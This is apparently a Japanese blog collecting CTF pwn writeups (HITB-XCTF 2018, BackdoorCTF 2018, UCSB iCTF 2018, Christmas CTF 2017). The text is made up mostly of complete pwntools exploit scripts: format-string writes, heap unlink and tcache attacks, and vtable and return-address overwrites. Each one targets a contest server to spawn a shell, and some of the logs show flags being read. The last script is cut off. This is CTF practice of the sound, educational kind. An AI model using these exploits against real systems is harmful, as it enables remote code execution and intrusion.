はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 libc = ELF('./libc.so') elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute) else: conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0']) # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation offset = 12 password = '>@!ADMIN!@<' log.info('Pwning') # leak payload = '..%43$p.%7$p' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') libc_base = int(conn.recv(10),16) - 0x00018540 - 247 conn.recvuntil('.') stack_addr = int(conn.recv(10), 16) log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) conn.recvuntil('Incorrect') payload = '..%3$p\x00' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') bin_base = int(conn.recv(10),16) - 0x10c0 log.info('bin_base = 0x%x', bin_base) count_addr = stack_addr - 0x60 payload = p32(count_addr+1) + '%9c%12$n' conn.sendafter('Panel password:', payload) ret_addr = stack_addr - 0x3c def write_word(addr, value): addr1 = addr addr2 = addr+2 value1 = 0xffff & value value2 = 0xffff & (value >> 16) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27) conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&addr2,85) conn.sendafter('Panel password:', payload) payload = '%%%dc%%5$hn' % (value1) conn.sendafter('Panel password:', payload) payload = '%%%dc%%6$hn' % (value2) conn.sendafter('Panel password:', payload) write_word(ret_addr, libc_base + 0x3a940) write_word(ret_addr+8, libc_base + 0x15902b) conn.sendline(password) conn.interactive()
HITB-XCTF GSEC CTF 2018 Quals writeup
once (pwn, 281pts)
libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.189.102" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc-2.23.so') elf = ELF('./once') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set environment LD_PRELOAD=./libc-2.23.so c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./once'], execute) else: conn = process(['./once']) # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'}) # preparing for exploitation def create(): conn.sendlineafter('> ', '1') def write(payload): conn.sendlineafter('> ', '2') time.sleep(0.5) conn.send(payload) def free(): conn.sendlineafter('> ', '3') def malloc(size): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '1') conn.sendlineafter('input size:', str(size)) conn.sendlineafter('> ', '4') def _free(): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '3') conn.sendlineafter('> ', '4\x00yyyyyy') def write_string(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '2') time.sleep(0.5) conn.sendline(payload) # conn.recvuntil('success.') conn.sendlineafter('> ', '4') log.info('Pwning') conn.sendlineafter('> ', '-1') conn.recvline() buf = conn.recv(len('0x7fbb53834690')) libc_base = int(buf, 16) - 0x6f690 log.info('libc_bsae = 0x%x', libc_base) write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2) malloc(0x200) payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e) write_string(payload) _free() conn.recvuntil('>') create() conn.interactive()
babypwn (pwn, 253pts)
バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。
#!/usr/bin/env python from pwn import * #context(os='linux', arch='unknown') #context.log_level = 'debug' # output verbose log RHOST = "47.75.182.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./a.out') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x4006ef c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./a.out'], execute) else: conn = process(['./a.out']) # conn = process(['hogehoge'], env={'LD_PRELOAD': ''}) # preparing for exploitation def write(addr, byte): payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr) conn.sendline(payload) log.info('Pwning') # leak libc_base conn.sendline('%41$p') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x20830 log.info('libc_base = 0x%x', libc_base) stdin = libc_base + 0x3c48e0 stdin_vtable = libc_base + 0x3c49b8 fake_vtable = libc_base + 0x3c49c0 system = libc_base + 0x45390 # set ';sh' string write(stdin+4, ord(';')) write(stdin+5, ord('s')) write(stdin+6, ord('h')) # create fake vtable for i in range(6): write(fake_vtable+0x28+i, ord(p64(system)[i])) # overwrite stdin vtable ptr a = (fake_vtable & 0xffff) payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable) conn.sendline(payload) conn.interactive()
d (pwn, 392pts)
heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.154.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute) else: conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d']) # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''}) # preparing for exploitation def read(idx, msg): conn.sendlineafter('Which? :', '1') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('msg:', msg) def edit(idx, msg): conn.sendlineafter('Which? :', '2') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('new msg:', msg) def wipe(idx): conn.sendlineafter('Which? :', '3') conn.sendlineafter('Which? :', str(idx)) def fsa(addr, byte): payload = '' printf_plt = elf.plt['printf'] atoi_plt = elf.plt['atoi'] strlen_plt = elf.plt['strlen'] fake_chunk = 0x6021a0 log.info('Pwning') read(0, 'x' * 0x138) read(1, 'x' * 0x138) read(2, 'x' * 0x138) read(3, 'x' * 0x138) read(4, 'y' * 0x138) read(5, 'z' * 0x138) read(6, 'z' * 0x138) wipe(4) read(4, 'a'* (0x138+19)) edit(4, 'x'*0xf8) edit(4, 'x'*0xf0 + p64(0xf0)) payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10) edit(4, payload) wipe(5) edit(6, '/bin/sh\x00') edit(4, p64(0x602028)) edit(1, p64(printf_plt)[:6]) edit(0, '%2$p') conn.recvuntil('Which? :') conn.sendline('2') conn.recvuntil('Which? :') conn.sendline('0') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x3c6780 log.info('libc_base = 0x%x', libc_base) conn.sendline('hoge') edit(4, '%p') edit(4, p64(0x602018)) edit(1, '%p') edit(1, p64(libc_base + 0x45390)[:7]) conn.interactive()
mutepig (pwn, 833pts)
House of Rabbit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.128.158" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./mutepig') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set follow-fork-mode parent b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./mutepig'], execute) else: conn = process(['./mutepig']) # conn = process(['./mutepig'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(_type, payload): time.sleep(0.1) conn.sendline('1') conn.sendline(str(_type)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) def free(idx): time.sleep(0.1) conn.sendline('2') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) def write(idx, payload, payload2): time.sleep(0.1) conn.sendline('3') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) conn.send(payload2) log.info('Pwning') time.sleep(0.1) create(3, 'x'*7) free(0) create(3, 'y'*7) free(1) create(1, 'fast') # 2 create(2, 'small') # 3 free(2) payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1) write(2, p64(0x602130)[:7], payload) free(3) # malloc_consolidate payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001) write(3, 'w'*7, payload) create(3, '/bin/sh') payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1) write(3, 'w'*7, payload) create(13337, 'a'*7) create(1, p64(0x0000000000602018)[:7]) write(0, p64(0x00000000004006e6)[:7], 'hoge') free(2) conn.interactive()
gundom (pwn, 487pts)
tcache
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.37.114" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc.so.6') elf = ELF('./gundam') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./gundam'], execute) else: conn = process(['./gundam']) # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def build(name, idx): conn.sendlineafter('Your choice : ', '1') conn.sendafter('The name of gundam :', name) time.sleep(0.1) conn.sendlineafter('The type of the gundam :', str(idx)) time.sleep(0.1) def visit(): conn.sendlineafter('Your choice : ', '2') time.sleep(0.1) def destroy(idx): conn.sendlineafter('Your choice : ', '3') conn.sendlineafter('Destory:', str(idx)) time.sleep(0.1) def blow(): conn.sendlineafter('Your choice : ', '4') time.sleep(0.1) log.info('Pwning') build('x'*0x10, 0) build('y'*0x10, 1) destroy(0) destroy(0) build('x'*0x1, 0) visit() conn.recvuntil('Gundam[2] :') heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278 log.info('heap_base = 0x%x', heap_base) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) blow() build('\x90'*0x1, 0) visit() conn.recvuntil('Gundam[0] :') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90 log.info('libc_base = 0x%x', libc_base) destroy(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100) build(payload, 2) build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0) build('hoge', 0) free_hook = libc_base + 0x3dc8a8 short_buf = libc_base + 0x3daa63 payload = '\x00'* 4 + p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8) build(payload, 0) conn.sendline('3') conn.send('0\x00' + p64(libc_base + 0xfccde)) #conn.send('0\x00' + 'x'*8) conn.interactive()
最後に
最近はCTFをするときにMAN WITH A MISSIONのRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。
BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup
SHELTER (pwn, 200pts)
機能
ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Help
を選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。
# ./challenge --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 1 Enter content > hogehoge Created at 0x5595c8fb3010 ! --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 3 I am located at 0x5595c7af0c1a
構造体
ノートの構造体は以下のようになっていた。malloc()
で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()
が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。
struct Note { void* func_ptr; char content[0xf0]; }
vuln
ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。
exploit
get_shell()
というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()
を呼び出す。
PREV_INUSE
をクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()
を呼んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8088 LHOST = "127.0.0.1" LPORT = 8088 # libc = ELF('./libc.so.6') elf = ELF('./challenge') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./challenge'], gdbscript=execute) else: conn = process(['./challenge']) # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') def new_note(content): conn.sendlineafter('choice >', '1') conn.sendafter('Enter content >', content) conn.recvuntil('at ') return int(conn.recv(14), 16) def del_note(idx): conn.sendlineafter('choice >', '2') conn.sendlineafter('Enter index to delete note >', str(idx)) def help(): conn.sendlineafter('choice >', '3') conn.recvuntil('I am located at ') return int(conn.recv(14),16) # leak bin_base bin_base = help() - 0xc1a log.info('bin_base = 0x%x', bin_base) heap_base = new_note('x'*0xf0) - 0x10 fake_chunk = heap_base + 0x70 log.info('heap_base = 0x%x', heap_base) new_note('y'*0xf0) new_note('z'*0xf0) del_note(0) # ptr.fd->bk == ptr # ptr.bk->fd == ptr payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00' new_note(payload) del_note(1) new_note(p64(bin_base + 0xa30)*0x18) del_note(1) conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/shelter/challenge' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 51.15.73.163 on port 8088: Done [*] Pwning [*] bin_base = 0x5642f01b8000 [*] heap_base = 0x5642f15a7000 [*] Switching to interactive mode $ ls challenge flag.txt $ cat flag.txt CTF{Y0U_4R3_T0_B3_R3W4RD3D}
BOOKKEEPING (pwn, 350pts)
ノート管理アプリ。
サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.o
の方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。
#!/usr/bin/env python from pwn import * import subprocess context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8888 LHOST = "127.0.0.1" LPORT = 8888 # libc = ELF('') elf = ELF('./service.o') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./service.o'], gdbscript=execute) else: conn = process(['./service.o']) # conn = process(['./service.o'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_note(length, title, body): conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', str(length)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def delete_note(idx): conn.sendlineafter('>', '2') conn.sendlineafter('Enter note index>', str(idx)) def edit_note(idx, title, body): conn.sendlineafter('>', '3') conn.sendlineafter('Enter note index>', str(idx)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def print_note(idx): conn.sendlineafter('>', '4') conn.sendlineafter('Enter note index>', str(idx)) conn.recvuntil('Title: ') title = conn.recvuntil('Body: ') body = conn.recvuntil('Welcome') return (title, body) log.info('Pwning') subprocess.call(['rm', '-f', '/dev/shm/notes_dir']) # leak add_note(-0x10, 'x'*0x20, '\n') add_note(0x10, 'y'*0x20, 'y'*0xf) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(1) (_, buf) = print_note(0) libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78 log.info('libc_base = 0x%x', libc_base) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(2) add_note(-0x40, 'a'*0x20, '\n') add_note(-0x40, 'b'*0x20, '\n') add_note(-0x40, 'c'*0x20, '\n') delete_note(3) payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed) edit_note(2, payload, '\n') add_note(-0x40, 'd'*0x20, '\n') payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a) add_note(-0x40, payload, '\n') delete_note(0) conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', '1') conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 51.15.73.163 on port 8888: Done [*] Pwning [*] libc_base = 0x7fa4a7097000 [*] Switching to interactive mode $ ls Makefile flag service.c service.o verifier.c verifier.o $ cat flag cat: flag: Permission denied
# python exp.py [+] Opening connection to 51.15.73.163 on port 8888: Done Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Body: \x80\xa2\x1a Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Heap base @: 0x21aa000 Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?} Body: Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Closed connection to 51.15.73.163 port 8888
UCSB iCTF 2018 hero_text_adventure writeup
vuln
武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new name
で入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。
exploit
脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。
書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)
をして、必要なアドレスをリークした。
書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline
関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。
最後は適当に調整して、system('/bin/sh')
を呼び出した。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "127.0.0.1" RPORT = 20007 LHOST = "127.0.0.1" LPORT = 20007 # libc = ELF('') elf = ELF('./hero_text_adventure') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute) else: conn = process(['./hero_text_adventure']) # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('N') conn.sendline('%p.%p.%p.') conn.sendline('1') # make money conn.sendline('1337') conn.sendline('10000') # buy weapon conn.sendline('2') conn.sendline('1') # buy weapon conn.sendline('2') conn.sendline('2') # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400ebf) # printf conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') conn.recvuntil('.0x28.') libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4 log.info('libc_base = 0x%x', libc_base) # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400C84) conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30 payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390) conn.send(payload) conn.send(p64(libc_base + 0x45390)) conn.recvuntil('6) exit') conn.sendline('1') conn.interactive()
さいごに
First Bloodを取れたので嬉しい。
Christmas CTF 2017 writeup
はじめに
クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。
[PWNABLE] BOOKSTORE
C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。
適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environ
の値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "207.148.67.213" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./bookstore') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bookstore'], execute) else: conn = process(['./bookstore']) # conn = process(['./bookstore'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_book(name, desc, price, pub): conn.sendlineafter('5. Exit', '1') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) conn.sendlineafter('Price : ', str(price)) time.sleep(0.1) conn.sendline(pub) time.sleep(0.1) def create_pub(name, desc): conn.sendlineafter('5. Exit', '2') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) def view_books(): conn.sendlineafter('5. Exit', '3') time.sleep(0.1) def list_pubs(): conn.sendlineafter('5. Exit', '4') time.sleep(0.1) def sell_book(name, num): conn.sendlineafter('5. Exit', '5') time.sleep(0.1) conn.sendlineafter('Book Name : ', name) time.sleep(0.1) conn.sendlineafter('Num : ', str(num)) time.sleep(0.1) def write_word(addr, value): payload = 'a'*0x40 + p64(0x0) + p64(addr) create_pub(str(value), payload) add_book(str(value), 'zzzz', 0x1, '') sell_book(str(value), value) log.info('Pwning') fake_addr = 0x6063c0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('xxxx', 'yyyy', 1, '') sell_book('xxxx', 0x000000000605fe8) # stdout payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10) create_pub('fuga', payload) add_book('wwww', 'zzzz', 1, '') sell_book('wwww', 0x6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('piyo', payload) add_book('oooo', 'pppp', 1, '') view_books() for i in range(3): conn.recvuntil('Publisher : ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740 log.info('libc_base = 0x%x', libc_base) one_gadget = libc_base + 0xf1117 environ = libc_base + 0x3c6f38 fake_addr = 0x6063e0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('1', 'yyyy', 1, '') sell_book('1', environ&0xffffffff) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4) create_pub('hoge', payload) add_book('2', 'yyyy', 1, '') sell_book('2', environ>>32) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8) create_pub('hoge', payload) add_book('3', 'yyyy', 1, '') sell_book('3', 6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('4', payload) add_book('4', 'pppp', 1, '') view_books() for i in range(7): conn.recvuntil('Publisher : ') stack_base = u64(conn.recv(6) + '\x00\x00') log.info('stack_base = 0x%x', stack_base) # libc_start_main+240 -> one_gadget_rce write_word(stack_base-0xf0, 0xd08e7) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py r [*] '/root/ctf/XmasCTF/bookstore/bookstore' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 207.148.67.213 on port 1337: Done [*] Pwning [*] libc_base = 0x7fba5dc79000 [*] stack_base = 0x7ffd89fb90d8 [*] Switching to interactive mode 1. Add Book 2. Create Publisher 3. View All Book 4. List Publisher 5. Sell Book 5. Exit $ 6 $ id uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore) $ cat /home/bookstore/flag XMAS{ca11_m3_010-5328-7405}
[PWNABLE] INFINITE CAT THEOREM
ランダムに生成されたバイト列が実行されるが、srand()
に渡るseed
はstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseed
によるsrand()
を実行させることができる。これを用いてexecve('/bin/sh')
を実行するシェルコードを生成した。
get_seed()
はour godが書いてくれた。感謝。
#!/usr/bin/env python from pwn import * from ctypes import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log libc = cdll.LoadLibrary("libc.so.6") RHOST = "45.32.113.43" RPORT = 12025 LHOST = "127.0.0.1" LPORT = 12025 # libc = ELF('') elf = ELF('./infinite_cat') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400B0A c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./infinite_cat'], gdbscript=execute) else: conn = process(['./infinite_cat']) # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''}) # preparing for exploitation def get_seed(n): if isinstance(n, basestring): n = ord(n) for i in xrange(0,65536): libc.srand(c_int(i)) if libc.rand() % 256 == n: return i return None def make_byte(seed): conn.sendlineafter('length: ', '1') time.sleep(0.01) payload = 'x'* 0xc + p64(seed) + p64(0) * 3 + p64(main_addr) conn.sendafter('your cat makes seed 